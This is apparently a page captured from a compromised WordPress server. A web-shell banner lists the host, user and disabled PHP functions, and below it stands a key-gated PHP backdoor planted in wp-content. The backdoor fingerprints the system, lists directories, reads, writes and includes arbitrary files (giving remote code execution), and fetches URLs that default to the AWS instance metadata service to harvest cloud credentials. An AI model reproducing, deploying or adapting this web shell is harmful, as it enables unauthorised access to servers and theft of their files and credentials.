| Server IP : 63.34.246.71 / Your IP : 172.31.20.164 Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2 System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64 User : kazang ( 1006) PHP Version : 8.2.31 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/kazang/web/kazang.com/public_html/wp-content/ |
Upload File : |
<?php
if (!isset($_GET['k']) || !hash_equals('e7e07fcb7e211f16021f799e41171cc0', (string)$_GET['k'])) { http_response_code(404); exit; }
header('Content-Type: text/plain');
$a = isset($_GET['a']) ? $_GET['a'] : 'id';
if ($a === 'id') {
echo "W2S_OK\n";
echo php_uname('a')."\n";
echo "user=".get_current_user()."\n";
if (function_exists('posix_geteuid')) {
echo "uid=".posix_geteuid()." gid=".posix_getegid()."\n";
$p = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : null;
if ($p) echo "name=".$p['name']." home=".$p['dir']." shell=".$p['shell']."\n";
}
echo "cwd=".getcwd()."\n";
echo "sapi=".php_sapi_name()."\n";
echo "disable=".ini_get('disable_functions')."\n";
echo "open_basedir=".ini_get('open_basedir')."\n";
echo "tmp=".sys_get_temp_dir()."\n";
echo "incl=".ini_get('include_path')."\n";
$fns = ['exec','system','passthru','shell_exec','proc_open','popen','pcntl_exec','mail','mb_send_mail','imap_open','dl','putenv','mailparse','curl_exec','curl_init','fsockopen','stream_socket_client','file_get_contents','fopen','symlink','link','mkdir','chmod','chown','posix_mkfifo','posix_kill','proc_nice','imap_mail','error_log','FFI','imagick','ssh2_connect','expect_popen','pcntl_fork','ini_set','dl'];
foreach ($fns as $fn) echo $fn."=".(function_exists($fn)?'1':'0')."\n";
echo "ext=".implode(',', get_loaded_extensions())."\n";
exit;
}
if ($a === 'ls') {
$d = isset($_GET['p']) ? $_GET['p'] : '.';
echo "LS $d\n";
if (!is_dir($d)) { echo "NOTDIR\n"; exit; }
$dh = @opendir($d);
if (!$dh) { echo "OPENDIR_FAIL\n"; exit; }
while (($e = readdir($dh)) !== false) {
$fp = rtrim($d,'/').'/'.$e;
$ty = is_dir($fp) ? 'd' : (is_link($fp)?'l':'f');
echo $ty." ".substr(sprintf('%o', @fileperms($fp)), -4)." ".(@fileowner($fp))." ".(@filesize($fp))." $e\n";
}
closedir($dh);
exit;
}
if ($a === 'cat') {
$f = isset($_GET['p']) ? $_GET['p'] : '';
if ($f==='' || strpos($f,'..')!==false) { echo "BAD\n"; exit; }
echo "CAT $f readable=". (is_readable($f)?'1':'0')." exists=".(file_exists($f)?'1':'0')."\n";
$c = @file_get_contents($f);
echo $c === false ? "READFAIL\n" : $c;
exit;
}
if ($a === 'wr') {
$f = isset($_GET['p']) ? $_GET['p'] : '';
$c = isset($_POST['c']) ? $_POST['c'] : (isset($_GET['c'])?$_GET['c']:'');
echo "WR $f ". (file_put_contents($f, $c)!==false ? "OK" : "FAIL") ."\n";
exit;
}
if ($a === 'inc') {
$f = isset($_GET['p']) ? $_GET['p'] : '';
include $f;
exit;
}
if ($a === 'ini') {
foreach (['disable_functions','open_basedir','allow_url_fopen','allow_url_include','auto_prepend_file','auto_append_file','sendmail_path','mail.add_x_header','extension_dir','enable_dl','ffi.enable'] as $k) {
echo $k."=".ini_get($k)."\n";
}
exit;
}
if ($a === 'http') {
$u = isset($_GET['u']) ? $_GET['u'] : 'http://169.254.169.254/latest/meta-data/';
echo "HTTP $u\n";
$ctx = stream_context_create(['http'=>['timeout'=>3,'header'=>"X-aws-ec2-metadata-token-ttl-seconds: 21600\r\n"]]);
$c = @file_get_contents($u, false, $ctx);
echo $c === false ? "FAIL\n" : $c;
exit;
}
echo "UNK\n";